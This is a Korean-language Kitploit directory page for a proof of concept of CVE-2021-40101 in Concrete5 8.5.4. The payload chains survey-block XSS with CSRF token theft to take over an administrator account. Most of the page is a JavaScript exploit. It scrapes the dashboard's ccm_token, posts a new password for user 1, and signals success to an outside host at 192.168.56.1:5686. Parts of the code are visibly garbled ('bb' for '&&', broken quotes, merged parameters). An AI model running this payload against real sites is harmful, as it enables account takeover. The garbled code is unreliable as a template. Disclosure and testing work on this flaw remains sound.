Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-40101 — 설문조사 XSS와 CSRF 결합으로 Concrete5 8.5.4에서 관리자 계정 탈취 발생 | Kitploit
도구/GitHubGitHub/s1lkys/cve-2021-40101
Phishing ToolsVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubs1lkys/cve-2021-40101

CVE-2021-40101

설문조사 XSS와 CSRF 결합으로 Concrete5 8.5.4에서 관리자 계정 탈취 발생

저장소 보기
44년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

설문조사 XSS와 CSRF 결합으로 Concrete5 8.5.4에서 관리자 계정 탈취 발생

9 미만 버전의 Concrete CMS 관리자는 다른 사용자의 비밀번호를 변경할 때 자신의 비밀번호를 제공할 필요가 없었습니다.

CVE-2021-28145 ("Concrete CMS (이전 concrete5) 8.5.5 이전 버전에서는 원격 인증 사용자가 조작된 설문조사 블록을 통해 XSS 공격을 수행할 수 있습니다. 이를 위해서는 최소한 편집자 권한이 필요합니다": 수정 사항은 버전 8.5.5에 포함되었습니다.)와 결합하여 낮은 권한의 사용자(예: 개발자 또는 설문조사를 생성할 수 있는 공개 사용자)가 웹 애플리케이션에 악성 자바스크립트 코드를 삽입할 수 있습니다. 설문조사 결과는 관리자가 웹 인터페이스의 Reports > Surveys에서 검토할 수 있습니다. 악성 자바스크립트 코드도 거기서 실행됩니다. Concrete5에는 CSRF 보호 기능이 있지만, 요청을 실행하기 전에 페이지에서 해당 토큰을 탈취하여 매우 쉽게 우회할 수 있습니다. Concrete5는 비밀번호 변경 시 이전 비밀번호를 묻지 않습니다. 따라서 관리자 비밀번호를 매우 쉽게 변경할 수 있습니다.

페이로드

root@kitploit:~
var ccm_token = ";
var body = ";
var regex = /[0-9]{10}\:[a-f0-9]{32}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest(); 
req.open("GET","/concrete5-8.5.4/index.php/dashboard/users/search/view/1", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req. send(); 

req.onreadystatechange = function () { 
  if (req.readyState == 4 bb req.status == 200) { 
    body = req.responseText; 
    ccm_token = body.match(regex)[3];
   }
  }; 
setTimeout(() => { 
  confirm("Admin Account Takeover through XSS and CSRF Bypass in Concrete5 v.8.5.4 by Silky. CSRF Tok en: "+ccm_token); 
  req2.open("POST","/concrete5-8.5.4/index.php/dashboard/users/search/change_password/1", true);
  req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  req2.setRequestHeader('Content-type', eapplication/x-www-form-urlencoded.);
  req2.send("ccm_token="+ccm_token+"&uPassword=Demonstration_by_SilkyEruPasswordConfirm=Demonstration_ by_Silkyt_ccm_consider_request_as_xhr=1"); 

req2.onreadystatechange = function () { 
  if (req2.readyState == 4 bb req2.status == 200) {
    body = req2.responseText;
    if (body.includes("Password updated successfully.")){
      console.log("Password updated successfully.");
      var myImage = new Image(0, 0);
      myImage.src = Ihttp://192.168.56.1:5686/Password_changed_successfullys;
     }
     else{
      console.log("Something went wrong");
     } 
   }
 } 
},2000); 

CVSS 점수:

  • CVE-2021-40101 - 6.4 중간 AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H
  • CVE-2021-28145 - 5.4 중간 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

최종 점수는

  • 7.2 높음

참고 자료:

  • https://hackerone.com/bugs?report_id=1065577
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40101
  • https://youtu.be/w-B-j4NadDw
  • https://github.com/concrete5/concrete5/pull/9707/commits/f6bb806acfdda22860133b9586df068d4e3909a7
도구 다운로드